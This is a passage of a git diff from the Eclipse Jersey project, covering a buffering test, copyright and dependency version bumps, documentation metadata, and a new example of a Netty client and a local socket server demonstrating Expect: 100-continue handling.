+        @Override
+        public void commit() {
+        }
+
+        @Override
+        public void failure(Throwable error) {
+            throw new RuntimeException(error);
+        }
+
+        @Override
+        public boolean enableResponseBuffering() {
+            return buffering;
+        }
+    }
+
+    @Path("/test")
+    public static class StreamResource {
+
+        @GET
+        @Path(value = "/stream")
+        @Produces(MediaType.TEXT_PLAIN)
+        public Response stream() {
+
+            StreamingOutput stream = output -> {
+                output.write(RESPONSE.getBytes(StandardCharsets.UTF_8));
+            };
+            return Response.ok(stream).build();
+        }
+    }
+
+    @Test
+    public void testWriterBuffering() {
+        TestContainerWriter writer = new TestContainerWriter(true);
+        testWriter(writer);
+    }
+
+    @Test
+    public void testWriterNoBuffering() {
+        TestContainerWriter writer = new TestContainerWriter(false);
+        testWriter(writer);
+    }
+
+    private void testWriter(TestContainerWriter writer) {
+        flushCounter.set(0);
+        RequestContextBuilder rcb = RequestContextBuilder.from("/test/stream", "GET");
+
+        TestContainerRequest request = rcb.new TestContainerRequest(
+                null, URI.create("/test/stream"), "GET", null, new MapPropertiesDelegate()) {
+            @Override
+            public void setWorkers(MessageBodyWorkers workers) {
+                if (workers != null) {
+                    setWriter(writer);
+                }
+                super.setWorkers(workers);
+            }
+        };
+
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(StreamResource.class));
+        Future<ContainerResponse> future = applicationHandler.apply(request);
+        MatcherAssert.assertThat(writer.outputStream.toString(), Matchers.is(RESPONSE));
+        MatcherAssert.assertThat(flushCounter.get(), Matchers.is(1));
+    }
+}
\ No newline at end of file
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/CookieParamAsCookieTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/CookieParamAsCookieTest.java
index 6508650..e81c446 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/CookieParamAsCookieTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/CookieParamAsCookieTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/CookieParamAsStringTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/CookieParamAsStringTest.java
index 94d4142..0426b4b 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/CookieParamAsStringTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/CookieParamAsStringTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/docs/pom.xml b/docs/pom.xml
index bbae25f..f9c3806 100644
--- a/docs/pom.xml
+++ b/docs/pom.xml
@@ -27,6 +27,133 @@
     <artifactId>jersey-documentation</artifactId>
     <packaging>pom</packaging>
     <name>jersey-documentation</name>
+    <description>
+        Eclipse Jersey User Guide.
+    </description>
+    <url>https://projects.eclipse.org/projects/ee4j.jersey</url>
+    <licenses>
+        <license>
+            <name>EPL 2.0</name>
+            <url>http://www.eclipse.org/legal/epl-2.0</url>
+            <distribution>repo</distribution>
+            <comments>Except for 3rd content and examples.
+                See also https://github.com/eclipse-ee4j/jersey/blob/master/NOTICE.md</comments>
+        </license>
+        <license>
+            <name>GPL2 w/ CPE</name>
+            <url>https://www.gnu.org/software/classpath/license.html</url>
+            <distribution>repo</distribution>
+            <comments>Except for 3rd content and examples.
+                See also https://github.com/eclipse-ee4j/jersey/blob/master/NOTICE.md</comments>
+        </license>
+        <license>
+            <name>EDL 1.0</name>
+            <url>http://www.eclipse.org/org/documents/edl-v10.php</url>
+            <distribution>repo</distribution>
+            <comments>The examples except bookstore-webapp example</comments>
+        </license>
+        <license>
+            <name>BSD 2-Clause</name>
+            <url>https://opensource.org/licenses/BSD-2-Clause</url>
+            <distribution>repo</distribution>
+            <comments>The bookstore-webapp example</comments>
+        </license>
+        <license>
+            <name>Apache License, 2.0</name>
+            <url>http://www.apache.org/licenses/LICENSE-2.0.html</url>
+            <distribution>repo</distribution>
+            <comments>Google Guava @ org.glassfish.jersey.internal.guava,
+                Dropwizard Monitoring inspired classes @ org.glassfish.jersey.server.internal.monitoring.core,
+                Hibernate Validation classes @ org.glassfish.jersey.server.validation.internal.hibernate, and
+                Jackson JAX-RS Providers @ org.glassfish.jersey.jackson.internal.jackson.jaxrs</comments>
+        </license>
+        <license>
+            <name>Public Domain</name>
+            <url>https://creativecommons.org/publicdomain/zero/1.0/</url>
+            <distribution>repo</distribution>
+            <comments>JSR-166 Extension to JEP 266 @ org.glassfish.jersey.internal.jsr166</comments>
+        </license>
+        <license>
+            <name>Modified BSD</name>
+            <url>https://asm.ow2.io/license.html</url>
+            <distribution>repo</distribution>
+            <comments>ASM @ jersey.repackaged.org.objectweb.asm</comments>
+        </license>
+        <license>
+            <name>jQuery license</name>
+            <url>jquery.org/license</url>
+            <distribution>repo</distribution>
+            <comments>jQuery v1.12.4</comments>
+        </license>
+        <license>
+            <name>MIT license</name>
+            <url>http://www.opensource.org/licenses/mit-license.php</url>
+            <distribution>repo</distribution>
+            <comments>AngularJS, Bootstrap v3.3.7,
+                jQuery Barcode plugin 0.3, KineticJS v4.7.1</comments>
+        </license>
+        <license>
+            <name>W3C license</name>
+            <url>https://www.w3.org/Consortium/Legal/copyright-documents-19990405</url>
+            <distribution>repo</distribution>
+            <comments>Content of core-server/etc</comments>
+        </license>
+    </licenses>
+    <scm>
+        <connection>scm:git:git@github.com:jersey/jersey.git</connection>
+        <developerConnection>scm:git:git@github.com:eclipse-ee4j/jersey.git</developerConnection>
+        <url>https://github.com/eclipse-ee4j/jersey</url>
+        <tag>HEAD</tag>
+    </scm>
+    <developers>
+        <developer>
+            <name>Jorge Bescos Gascon</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Lukas Jungmann</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Dmitry Kornilov</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+            <url>https://dmitrykornilov.net</url>
+        </developer>
+        <developer>
+            <name>David Kral</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Tomas Kraus</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Tomas Langer</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Maxim Nesen</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Santiago Pericas-Geertsen</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+        </developer>
+        <developer>
+            <name>Jan Supol</name>
+            <organization>Oracle Corporation</organization>
+            <organizationUrl>http://www.oracle.com/</organizationUrl>
+            <url>http://blog.supol.info</url>
+        </developer>
+    </developers>
     <profiles>
         <profile>
             <id>pre-release</id>
diff --git a/docs/src/main/docbook/appendix-properties.xml b/docs/src/main/docbook/appendix-properties.xml
index 886df2f..ba62723 100644
--- a/docs/src/main/docbook/appendix-properties.xml
+++ b/docs/src/main/docbook/appendix-properties.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -2000,6 +2000,16 @@
                 </thead>
                 <tbody>
                     <row>
+                        <entry>&jersey.netty.NettyClientProperties.HTTP_REDIRECT_CONTROLLER;</entry>
+                        <entry><literal>jersey.config.client.netty.http.redirect.controller</literal></entry>
+                        <entry>
+                            <para>
+                                The implementation of custom &jersey.netty.NettyHttpRedirectController; redirect logic.
+                                <literal>Since 2.47</literal>
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
                         <entry>&jersey.netty.NettyClientProperties.FILTER_HEADERS_FOR_PROXY;</entry>
                         <entry><literal>jersey.config.client.filter.headers.proxy</literal></entry>
                         <entry>
diff --git a/docs/src/main/docbook/jersey.ent b/docs/src/main/docbook/jersey.ent
index 5fe6f8a..614c765 100644
--- a/docs/src/main/docbook/jersey.ent
+++ b/docs/src/main/docbook/jersey.ent
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="iso-8859-1" ?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -592,6 +592,7 @@
 <!ENTITY jersey.message.filtering.SecurityEntityFilteringFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/message/filtering/SecurityEntityFilteringFeature.html'>SecurityEntityFilteringFeature</link>">
 <!ENTITY jersey.message.filtering.SelectableEntityFilteringFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/message/filtering/SelectableEntityFilteringFeature.html'>SelectableEntityFilteringFeature</link>">
 <!ENTITY jersey.netty.NettyClientProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html'>NettyClientProperties</link>" >
+<!ENTITY jersey.netty.NettyClientProperties.HTTP_REDIRECT_CONTROLLER "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#HTTP_REDIRECT_CONTROLLER'>NettyClientProperties.HTTP_REDIRECT_CONTROLLER</link>" >
 <!ENTITY jersey.netty.NettyClientProperties.FILTER_HEADERS_FOR_PROXY "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#FILTER_HEADERS_FOR_PROXY'>NettyClientProperties.FILTER_HEADERS_FOR_PROXY</link>" >
 <!ENTITY jersey.netty.NettyClientProperties.IDLE_CONNECTION_PRUNE_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#IDLE_CONNECTION_PRUNE_TIMEOUT'>NettyClientProperties.IDLE_CONNECTION_PRUNE_TIMEOUT</link>" >
 <!ENTITY jersey.netty.NettyClientProperties.MAX_CONNECTIONS "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#MAX_CONNECTIONS'>NettyClientProperties.MAX_CONNECTIONS</link>" >
@@ -603,6 +604,7 @@
 <!ENTITY jersey.netty.NettyClientProperties.MAX_INITIAL_LINE_LENGTH "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#MAX_INITIAL_LINE_LENGTH'>NettyClientProperties.MAX_INITIAL_LINE_LENGTH</link>" >
 <!ENTITY jersey.netty.NettyClientProperties.MAX_CHUNK_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#MAX_CHUNK_SIZE'>NettyClientProperties.MAX_CHUNK_SIZE</link>" >
 <!ENTITY jersey.netty.NettyConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyConnectorProvider.html'>NettyConnectorProvider</link>">
+<!ENTITY jersey.netty.NettyHttpRedirectController "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyHttpRedirectController.html'>NettyHttpRedirectController</link>">
 <!ENTITY jersey.server.ApplicationHandler "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ApplicationHandler.html'>ApplicationHandler</link>">
 <!ENTITY jersey.server.BackgroundScheduler "<link xlink:href='&jersey.javadoc.uri.prefix;/server/BackgroundScheduler.html'>@BackgroundScheduler</link>">
 <!ENTITY jersey.server.BackgroundSchedulerLiteral "<link xlink:href='&jersey.javadoc.uri.prefix;/server/BackgroundSchedulerLiteral.html'>BackgroundSchedulerLiteral</link>">
diff --git a/etc/jenkins/Jenkinsfile_ci_build b/etc/jenkins/Jenkinsfile_ci_build
index dc56f74..349f04d 100644
--- a/etc/jenkins/Jenkinsfile_ci_build
+++ b/etc/jenkins/Jenkinsfile_ci_build
@@ -35,6 +35,7 @@
                     steps {
                         sh '''
                                 bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
+                                export EXCLUDE_ARGS=' -pl !:configured-client '
                                 bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh
                             '''
                     }
diff --git a/examples/NOTICE.md b/examples/NOTICE.md
index 334e13d..6d8719e 100644
--- a/examples/NOTICE.md
+++ b/examples/NOTICE.md
@@ -43,7 +43,7 @@
 * Copyright: 2009, 2020 Red Hat, Inc. and/or its affiliates, and individual contributors
 * by the @authors tag.
 
-Hibernate Validator CDI, 8.0.1.Final
+Hibernate Validator CDI, 8.0.2.Final
 * License: Apache License, 2.0
 * Project: https://beanvalidation.org/
 * Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
@@ -96,7 +96,7 @@
 * Project: http://www.kineticjs.com, https://github.com/ericdrowell/KineticJS
 * Copyright: Eric Rowell
 
-org.objectweb.asm Version 9.7.1
+org.objectweb.asm Version 9.8
 * License: Modified BSD (https://asm.ow2.io/license.html)
 * Copyright (c) 2000-2011 INRIA, France Telecom. All rights reserved.
 
diff --git a/examples/cdi-webapp/pom.xml b/examples/cdi-webapp/pom.xml
index a1bc696..5561190 100644
--- a/examples/cdi-webapp/pom.xml
+++ b/examples/cdi-webapp/pom.xml
@@ -51,7 +51,7 @@
         </dependency>
         <dependency> <!-- this is to avoid Jersey jars to be bundled with the WAR -->
            <groupId>org.glassfish.jersey.containers</groupId>
-           <artifactId>jersey-container-servlet-core</artifactId>
+           <artifactId>jersey-container-servlet</artifactId>
            <scope>provided</scope>
         </dependency>
         <dependency>
@@ -153,11 +153,6 @@
                     <scope>compile</scope>
                 </dependency>
                 <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-servlet-core</artifactId>
-                    <scope>compile</scope>
-                </dependency>
-                <dependency>
                     <groupId>jakarta.inject</groupId>
                     <artifactId>jakarta.inject-api</artifactId>
                     <scope>provided</scope>
diff --git a/examples/expect-100-continue-netty-client/README.MD b/examples/expect-100-continue-netty-client/README.MD
new file mode 100644
index 0000000..5749184
--- /dev/null
+++ b/examples/expect-100-continue-netty-client/README.MD
@@ -0,0 +1,62 @@
+[//]: # " Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved. "
+[//]: # " "
+[//]: # " This program and the accompanying materials are made available under the "
+[//]: # " terms of the Eclipse Distribution License v. 1.0, which is available at "
+[//]: # " http://www.eclipse.org/org/documents/edl-v10.php. "
+[//]: # " "
+[//]: # " SPDX-License-Identifier: BSD-3-Clause "
+
+jersey-example-expect-100-continue-netty-connector
+==========================================================
+
+This example demonstrates how to register and run Jersey Netty connector with Expect:100-continue feature on.
+It also provides custom low-level Socket server to demonstrate how is request is captured and processed.  
+
+Contents
+--------
+
+The server and client are operating on requests level, without exposing any Resources. Client only sends request in
+form 
+```json
+{"message":"Hello from java client"}
+```
+
+Sample Response
+---------------
+Server in turn shows output which demonstrates Expect:100-continue presence and handling
+
+```shell
+==== DUMPING HEADERS ====
+expect, 100-continue
+transfer-encoding, chunked
+host, 127.0.0.1:3000
+content-type, application/json
+accept, application/json
+user-agent, jersey/2.47-snapshot (netty 4.1.112.final)
+==== HEADERS DUMPED =====
+==== DUMPING RESPONSE ====
+HTTP/1.1 100 Continue
+Connection: keep-alive
+
+
+==== RESPONSE DUMPED =====
+24
+{"message":"Hello from java client"}
+==== DUMPING RESPONSE ====
+HTTP/1.1 204 No Content
+Server: Socket Server v.0.0.1
+
+
+```
+
+Running the Example
+-------------------
+
+Run the example using provided ServerSocket container as follows:
+
+>     mvn clean compile exec:java
+
+Run the example using client as follows:
+
+>     mvn clean package exec:java -Pclient
+
diff --git a/examples/expect-100-continue-netty-client/pom.xml b/examples/expect-100-continue-netty-client/pom.xml
new file mode 100644
index 0000000..2778eb3
--- /dev/null
+++ b/examples/expect-100-continue-netty-client/pom.xml
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Distribution License v. 1.0, which is available at
+    http://www.eclipse.org/org/documents/edl-v10.php.
+
+    SPDX-License-Identifier: BSD-3-Clause
+
+-->
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <groupId>org.glassfish.jersey.examples</groupId>
+        <artifactId>project</artifactId>
+        <version>4.0.99-SNAPSHOT</version>
+    </parent>
+
+
+
+    <artifactId>jersey-example-expect-100-continue-netty-client</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-example-expect-100-continue-netty-client</name>
+
+    <description>Jersey example for Expect: 100-continue header usage with netty connector.</description>
+
+    <dependencies>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-netty-connector</artifactId>
+        </dependency>
+
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>exec-maven-plugin</artifactId>
+                <configuration>
+                    <mainClass>${mainClass}</mainClass>
+                </configuration>
+            </plugin>
+
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+                <inherited>true</inherited>
+                <configuration>
+                    <showWarnings>false</showWarnings>
+                    <fork>false</fork>
+                </configuration>
+            </plugin>
+
+            <!-- Run the application using "mvn jetty:run" -->
+
+        </plugins>
+    </build>
+
+    <profiles>
+        <profile>
+            <id>client</id>
+            <properties>
+                <mainClass>org.glassfish.jersey.examples.expect100continue.netty.connector.NettyClient</mainClass>
+            </properties>
+        </profile>
+        <profile>
+            <id>pre-release</id>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>xml-maven-plugin</artifactId>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-assembly-plugin</artifactId>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+    </profiles>
+
+    <properties>
+        <mainClass>org.glassfish.jersey.examples.expect100continue.netty.connector.SocketServer</mainClass>
+    </properties>
+</project>
diff --git a/examples/expect-100-continue-netty-client/src/main/java/org/glassfish/jersey/examples/expect100continue/netty/connector/NettyClient.java b/examples/expect-100-continue-netty-client/src/main/java/org/glassfish/jersey/examples/expect100continue/netty/connector/NettyClient.java
new file mode 100644
index 0000000..fa27674
--- /dev/null
+++ b/examples/expect-100-continue-netty-client/src/main/java/org/glassfish/jersey/examples/expect100continue/netty/connector/NettyClient.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.expect100continue.netty.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.RequestEntityProcessing;
+import org.glassfish.jersey.client.http.Expect100ContinueFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.Invocation;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Handler;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+public class NettyClient {
+    public static void main(String[] args) throws InterruptedException {
+//        enableLogging(Level.FINE);
+        test();
+    }
+
+    public static void test() throws InterruptedException {
+        ClientConfig defaultConfig = new ClientConfig();
+        defaultConfig.property(LoggingFeature.LOGGING_FEATURE_VERBOSITY_CLIENT, LoggingFeature.Verbosity.PAYLOAD_ANY);
+
+        //The issue can be produced only by using NettyConnectorProvider
+        defaultConfig.connectorProvider(new NettyConnectorProvider());
+
+        //with below two lines, enabled 100-continue feature
+        defaultConfig.property(ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.CHUNKED);
+        defaultConfig.register(Expect100ContinueFeature.basic());
+
+        Client client = ClientBuilder.newClient(defaultConfig);
+        WebTarget webTarget = client.target("http://127.0.0.1:3000");
+        Invocation.Builder invocationBuilder = webTarget.request();
+        invocationBuilder.header("Accept", "application/json");
+
+        for (int i = 0; i < 5; i++) { //iterating few times here to demonstrate
+            // the 100-continue processing works on any iteration
+
+            System.out.println();
+            System.out.println("****************** Iteration #" + i + " ******************");
+
+            final Response response = invocationBuilder.post(generateSimpleEntity());
+
+            System.out.println("Response status = " + response.getStatus());
+            System.out.println("Response status 204 means No Content, so we do not expect body here");
+            System.out.println("**************************************************");
+            System.out.println();
+        }
+        System.out.println("Client connection should be closed manually with Ctrl-C");
+    }
+
+    private static Entity<String> generateSimpleEntity(){
+        return Entity.entity("{\"message\":\"Hello from java client\"}", MediaType.APPLICATION_JSON_TYPE);
+    }
+
+    private static void enableLogging(Level logLevel) {
+        Logger rootLogger = Logger.getLogger("");
+        rootLogger.setLevel(logLevel);
+        Logger nettyLog = Logger.getLogger("io.netty");
+        nettyLog.setLevel(logLevel);
+        Handler[] handlers = rootLogger.getHandlers();
+        for (final Handler handler : handlers) {
+            handler.setLevel(logLevel);
+        }
+    }
+}
diff --git a/examples/expect-100-continue-netty-client/src/main/java/org/glassfish/jersey/examples/expect100continue/netty/connector/SocketServer.java b/examples/expect-100-continue-netty-client/src/main/java/org/glassfish/jersey/examples/expect100continue/netty/connector/SocketServer.java
new file mode 100644
index 0000000..6fd5699
--- /dev/null
+++ b/examples/expect-100-continue-netty-client/src/main/java/org/glassfish/jersey/examples/expect100continue/netty/connector/SocketServer.java
@@ -0,0 +1,255 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.expect100continue.netty.connector;
+
+import javax.net.ServerSocketFactory;
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+public class SocketServer {
+    private static final String NO_CONTENT_HEADER = "HTTP/1.1 204 No Content";
+    private static final String OK_HEADER = "HTTP/1.1 200 OK";
+    private static final String EXPECT_HEADER = "HTTP/1.1 100 Continue";
+    private final ExecutorService executorService = Executors.newCachedThreadPool();
+    private AtomicBoolean expect_processed = new AtomicBoolean(false);
+
+    private ServerSocket server;
+
+    private static final boolean debug = true;
+
+    private static final int port = 3000;
+
+    private volatile boolean stopped = false;
+
+    public static void main(String args[]) throws IOException {
+        new SocketServer(port).runServer();
+    }
+
+    SocketServer(int port) throws IOException {
+        final ServerSocketFactory socketFactory = ServerSocketFactory.getDefault();
+        server = socketFactory.createServerSocket(port);
+    }
+
+    void stop() {
+        stopped = true;
+        try {
+            server.close();
+            executorService.shutdown();
+            while (!executorService.isTerminated()) {
+                executorService.awaitTermination(100, TimeUnit.MILLISECONDS);
+            }
+        } catch (IOException | InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    void runServer() {
+
+        executorService.execute(() -> {
+            try {
+                dumpServerReadMe();
+                while (!stopped) {
+                    final Socket socket = server.accept();
+                    executorService.submit(() -> processRequest(socket));
+                }
+            } catch (IOException e) {
+                if (!stopped) {
+                    e.printStackTrace();
+                }
+            }
+        });
+    }
+
+    private void processRequest(final Socket request) {
+
+        try (final BufferedReader reader = new BufferedReader(new InputStreamReader(request.getInputStream()));
+             final BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(request.getOutputStream()))) {
+
+
+            while (!stopped) {
+                final Map<String, String> headers = mapHeaders(reader);
+
+                if (headers.isEmpty()) {
+                    continue;
+                }
+                if (debug) {
+                    dumpHeaders(headers);
+                }
+
+                boolean failed = processExpect100Continue(headers, writer);
+
+                if (failed) {
+                    continue;
+                }
+
+                final String http_header = expect_processed.get() ? NO_CONTENT_HEADER : OK_HEADER;
+                boolean read = readBody(reader, headers);
+
+                final StringBuffer responseBuffer = new StringBuffer(http_header);
+                addNewLineToResponse(responseBuffer);
+                addServerHeaderToResponse(responseBuffer);
+//                    addToResponse("Content-Length: 0", responseBuffer);
+                addNewLineToResponse(responseBuffer);
+                addNewLineToResponse(responseBuffer);
+                if (debug) {
+                    dumpResponse(responseBuffer);
+                }
+
+                writer.write(responseBuffer.toString());
+
+                writer.flush();
+                if (read) {
+                    break;
+                }
+
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        } finally {
+            try {
+                request.close();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    private void addNewLineToResponse(StringBuffer responseBuffer) {
+        addToResponse("\r\n", responseBuffer);
+    }
+
+    private void addToResponse(String toBeAdded, StringBuffer responseBuffer) {
+        responseBuffer.append(toBeAdded);
+    }
+
+    private void addServerHeaderToResponse(StringBuffer responseBuffer) {
+        addToResponse("Server: Example Socket Server v.0.0.1", responseBuffer);
+        addNewLineToResponse(responseBuffer);
+    }
+
+    private boolean processExpect100Continue(Map<String, String> headers, BufferedWriter writer) throws IOException {
+        String http_header = EXPECT_HEADER;
+        boolean failed = false;
+        final String continueHeader = headers.remove("expect");
+
+        if (continueHeader != null && continueHeader.contains("100-continue")) {
+
+            expect_processed.set(http_header.equals(EXPECT_HEADER));
+
+
+            final StringBuffer responseBuffer = new StringBuffer(http_header);
+
+            addNewLineToResponse(responseBuffer);
+            addToResponse("Connection: keep-alive", responseBuffer);
+            addNewLineToResponse(responseBuffer);
+            addNewLineToResponse(responseBuffer);
+            if (debug) {
+                dumpResponse(responseBuffer);
+            }
+
+            writer.write(responseBuffer.toString());
+            writer.flush();
+        }
+        return failed;
+    }
+
+    private Map<String, String> mapHeaders(BufferedReader reader) throws IOException {
+        String line;
+        final Map<String, String> headers = new HashMap<>();
+
+
+        if (!reader.ready()) {
+            return headers;
+        }
+
+        while ((line = reader.readLine()) != null && !line.isEmpty()) {
+
+
+            int pos = line.indexOf(':');
+            if (pos > -1) {
+                headers.put(
+                        line.substring(0, pos).toLowerCase(Locale.ROOT),
+                        line.substring(pos + 2).toLowerCase(Locale.ROOT).trim());
+            }
+        }
+
+        return headers;
+    }
+
+    private boolean readBody(BufferedReader reader, Map<String, String> headers) throws IOException {
+        if (headers.containsKey("content-length")) {
+            int contentLength = Integer.valueOf(headers.get("content-length"));
+            int actualLength = 0, readingByte = 0;
+            int[] buffer = new int[contentLength];
+            while (actualLength < contentLength && (readingByte = reader.read()) != -1) {
+                buffer[actualLength++] = readingByte;
+            }
+            if (debug) {
+                System.out.println("Reading " + actualLength + " of " + contentLength + " bytes/chars");
+            }
+            return (actualLength == contentLength);
+        } else if (headers.containsKey("transfer-encoding")) {
+            String line;
+            while ((line = reader.readLine()) != null && !line.equals("0")) {
+                if (debug) {
+                    System.out.println(line);
+                }
+            }
+            return true;
+        }
+        return false;
+    }
+
+    private void dumpHeaders(Map<String, String> headers) {
+        System.out.println("==== DUMPING HEADERS ====");
+        for (Map.Entry<String, String> entry : headers.entrySet()) {
+            System.out.println(entry.getKey() + ", " + entry.getValue());
+        }
+        System.out.println("==== HEADERS DUMPED =====");
+    }
+
+    private void dumpResponse(StringBuffer responseBuffer) {
+        System.out.println("==== DUMPING RESPONSE ====");
+        System.out.println(responseBuffer);
+        System.out.println("==== RESPONSE DUMPED =====");
+    }
+
+    private void dumpServerReadMe() {
+        System.out.println("==================================Server is running========================================");
+        System.out.println("=                                       ***                                               =");
+        System.out.println("= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =");
+        System.out.println("=  You can send requests to it either using Netty Client or curl or any other http tool.  =");
+        System.out.println("=  Try to modify it to see how Expect: 100-continue header works.                         =");
+        System.out.println("= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =");
+        System.out.println("=                               stop server by Ctrl-c                                     =");
